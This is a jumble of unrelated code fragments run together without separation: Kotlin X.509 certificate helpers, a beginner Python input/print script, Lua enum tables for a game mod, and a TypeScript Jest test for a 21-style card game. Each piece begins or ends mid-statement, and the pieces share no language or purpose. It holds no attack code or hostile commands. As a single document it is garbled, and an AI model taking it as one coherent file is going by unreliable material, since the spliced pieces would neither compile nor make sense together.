        val startOfDayUTC = Instant.now().truncatedTo(ChronoUnit.DAYS)
        val notBefore = max(startOfDayUTC - before, parent?.notBefore)
        val notAfter = min(startOfDayUTC + after, parent?.notAfter)
        return Pair(notBefore, notAfter)
    }

    /*
     * Create a de novo root self-signed X509 v3 CA cert.
     */
    @JvmStatic
    fun createSelfSignedCACertificate(subject: X500Principal,
                                      keyPair: KeyPair,
                                      validityWindow: Pair<Duration, Duration> = DEFAULT_VALIDITY_WINDOW): X509Certificate {
        val window = getCertificateValidityWindow(validityWindow.first, validityWindow.second)
        return createCertificate(CertificateType.ROOT_CA, subject, keyPair, subject, keyPair.public, window)
    }

    fun validateCertificateChain(trustedRoots: Set<X509Certificate>, vararg certificates: X509Certificate) {
        validateCertificateChain(trustedRoots, certificates.asList())
    }

    fun validateCertificateChain(trustedRoots: Set<X509Certificate>, certificates: List<X509Certificate>) {
        require(certificates.isNotEmpty()) { "Certificate path must contain at least one certificate" }
        validateCertPath(trustedRoots, buildCertPath(certificates))
    }

    fun validateCertPath(trustedRoots: Set<X509Certificate>, certPath: CertPath) {
        certPath.validate(trustedRoots.map { TrustAnchor(it, null) }.toSet())
    }

    /**
     * Helper method to store a .pem/.cer format file copy of a certificate if required for import into a PC/Mac, or for inspection.
     * @param certificate certificate to save.
     * @param file Target file.
     */
    @JvmStatic
    fun saveCertificateAsPEMFile(certificate: X509Certificate, file: Path) {
        JcaPEMWriter(file.writer()).use {
            it.writeObject(certificate)


name = input("Enter your name: ")
print("Hello, " + name + "!")

num_one = int(input("Enter Number One: "))
num_two = int(input("Enter Number Two: "))

sum = num_one + num_two
print("The sum of two number is : ", sum)

age = 25
print(type(age))

pi = 3.1416
convert_pi = str(pi)
print(type(pi))

print("Twinkle, twinkle, little star\n\tHow I wonder what you are\n\t\tUp above the world so high\nLike a diamond in the sky")


HER = 13,
	BEAST = 14,
	TAINTED = 15, -- not supported
	TAINTED_GROUP1 = 16, -- not supported
	TAINTED_GROUP2 = 17, -- not supported
}

PedestalType = {
	DEFAULT = 0,
	FORTUNE_TELLING_MACHINE = 1,
	BLOOD_DONATION_MACHINE = 2,
	SLOT_MACHINE = 3,
	GOLDEN_CHEST = 4,
	RED_CHEST = 5,
	STONE_CHEST = 6,
	SPIKED_CHEST = 7,
	ETERNAL_CHEST = 8,
	MOMS_DRESSING_TABLE = 9,
	CHEST = 10,
	MOMS_CHEST = 11,
	OLD_CHEST = 12,
	WOODEN_CHEST = 13,
	MEGA_CHEST = 14,
	CONFESSIONAL = 15,
	GOLDEN_CHEST_COIN_SLOT = 16,
	ETERNAL_CHEST_COIN_SLOT = 17,
	OLD_CHEST_COIN_SLOT = 18,
	MEGA_CHEST_COIN_SLOT = 19,
}

DebugFlag = { -- bitwise
	ENTITY_POSITIONS = 1 << 0,
	GRID = 1 << 1,
	INFINITE_HP = 1 << 2,
	HIGH_DAMAGE = 1 << 3,
	ROOM_INFO = 1 << 4,
	HITSPHERES = 1 << 5,
	DAMAGE_VALUES = 1 << 6,
	INFINITE_ITEM_CHARGES = 1 << 7,
	HIGH_LUCK = 1 << 8,
	QUICK_KILL = 1 << 9,
	GRID_INFO = 1 << 10,
	PLAYER_ITEM_INFO = 1 << 11,
	GRID_COLLISION_POINTS = 1 << 12,
	LUA_MEMORY_USAGE = 1 << 13
}

DipSubType = {
	NORMAL = 0,
	RED = 1,
	CHUNKY = 2, CORN = 2,
	GOLDEN = 3,
	RAINBOW = 4,
	BLACK = 5,
	HOLY = 6, WHITE = 6,
	STONE = 12, PETRIFIED = 12,
	FLAMING = 13,
	STINKY = 14, POISON = 14,
	BROWNIE = 20,
}

PauseMenuStates = {
	CLOSED = 0,
	OPEN = 1,
	OPTIONS = 2,
}

TaintedMarksGroup = {
	BOTH = 0,
	SOULSTONE = 1,
	POLAROID_NEGATIVE = 2,
}

BagOfCraftingPickup = {
    BOC_NONE = 0,
    BOC_RED_HEART = 1,
    BOC_SOUL_HEART = 2,
    BOC_BLACK_HEART = 3,
    BOC_ETERNAL_HEART = 4,
    BOC_GOLD_HEART = 5,
    BOC_BONE_HEART = 6,
    BOC_ROTTEN_HEART = 7,
    BOC_PENNY = 8,
    BOC_NICKEL = 9,
    BOC_DIME = 10,
    BOC_LUCKY_PENNY = 11,
    BOC_KEY = 12,
    BOC_GOLD_KEY = 13,
    BOC_CHARGED_KEY = 14,
    BOC_BOMB = 15,
    BOC_GOLD_BOMB = 16,
    BOC_GIGA_BOMB = 17,
    BOC_MINI_BATTERY = 18,
    BOC_BATTERY = 19,
    BOC_MEGA_BATTERY = 20,
    BOC_CARD = 21,
    BOC_PILL = 22,
    BOC_RUNE = 23,
    BOC_DICE_SHARD = 24


ts)).toEqual([SocketOutEventEnum.ENDED]);
        expect(gameInfo.state).toEqual(GameStateEnum.ENDED);
        expect(gameInfo.player_turn_id).toEqual(SOCKET_ID);
        expect(gameInfo.player_turn_no).toEqual('4');
        expect(gameInfo.players['rando-1'].chips).toEqual(0);
        expect(gameInfo.players['rando-2'].chips).toEqual(0);
        expect(gameInfo.players['rando-3'].chips).toEqual(3);
        expect(gameInfo.players[SOCKET_ID].chips).toEqual(5);
        expect(gameInfo.players['rando-1'].winner).toBeUndefined();
        expect(gameInfo.players['rando-2'].winner).toBeUndefined();
        expect(gameInfo.players['rando-3'].winner).toBeUndefined();
        expect(gameInfo.players[SOCKET_ID].winner).toEqual(true);

        ['rando-1', 'rando-2', 'rando-3', SOCKET_ID].forEach((playerId: string) => {
            expect((gameInfo.players[playerId].cards || []).length).toEqual(gameInfo.players[playerId].cards_count);
        });
    });
});

describe('Calculate winnings', () => {

    test.each([
        ['1 winner where 21 exact', {
            '1': [['diamond-2', 'spade-9', 'club-K'], 2, 6],
            '2': [['club-3'], 1, 0],
            '3': [['heart-4'], 3, 2]
        }],
        ['1 winner where 21 exact (A=1)', {
            '1': [['diamond-A', 'club-K', 'spade-Q'], 2, 6],
            '2': [['club-6', 'spade-Q', 'diamond-4'], 1, 0],
            '3': [['heart-7'], 3, 2]
        }],
        ['1 winner where 21 exact (A=11)', {
            '1': [['diamond-A', 'heart-J'], 2, 6],
            '2': [['spade-6', 'diamond-J', 'club-4'], 1, 0],
            '3': [['heart-5'], 3, 2]
        }],
        ['1 winner where 21 close', {
            '1': [['spade-6', 'diamond-J', 'club-4'], 2, 5],
            '2': [['club-9', 'spade-J'], 1, 0],
            '3': [['heart-5'], 3, 2]
        }],
        ['2 winners where 21 exact', {
            '1': [['diamond-2', 'spade-9', 'club-K'], 2, 4],
            '2': [['heart-A', 'spade-10'], 1, 3],
            '3': [['heart-4', 'diamond-J', 'club-6'], 5, 4]
        }],
        ['2 winners where 21 close', {
            '1': [['spade-A', 'diamond-9', 'club-K'], 2, 3],
            '2': [['spade-9', 'club-9', 'heart-2'], 1, 2],
            '3': [['club-3', 'heart-6'], 5, 4]
        }],
        ['All winners where 21 exact', {
            '1': [['diamond-K', 'heart-A'], 1, 3],
            '2': [['club-K', 'spade-A'], 2, 4],
            '3': [['heart-K', 'diamond-A'], 3, 5]
        }],
        ['All winners where 21 close', {
            '1': [['diamond-K', 'heart-Q'], 1, 2],
            '2': [['club-K', 'spade-K'], 2, 3],
            '3': [['heart-K', 'diamond-J'], 3, 4]
        }],
        ['No winners', {
            '1': [['diamond-K', 'heart-J', 'club-Q'], 1, 1],
            '2': [['club-K', 'spade-J', 'heart-Q'], 2,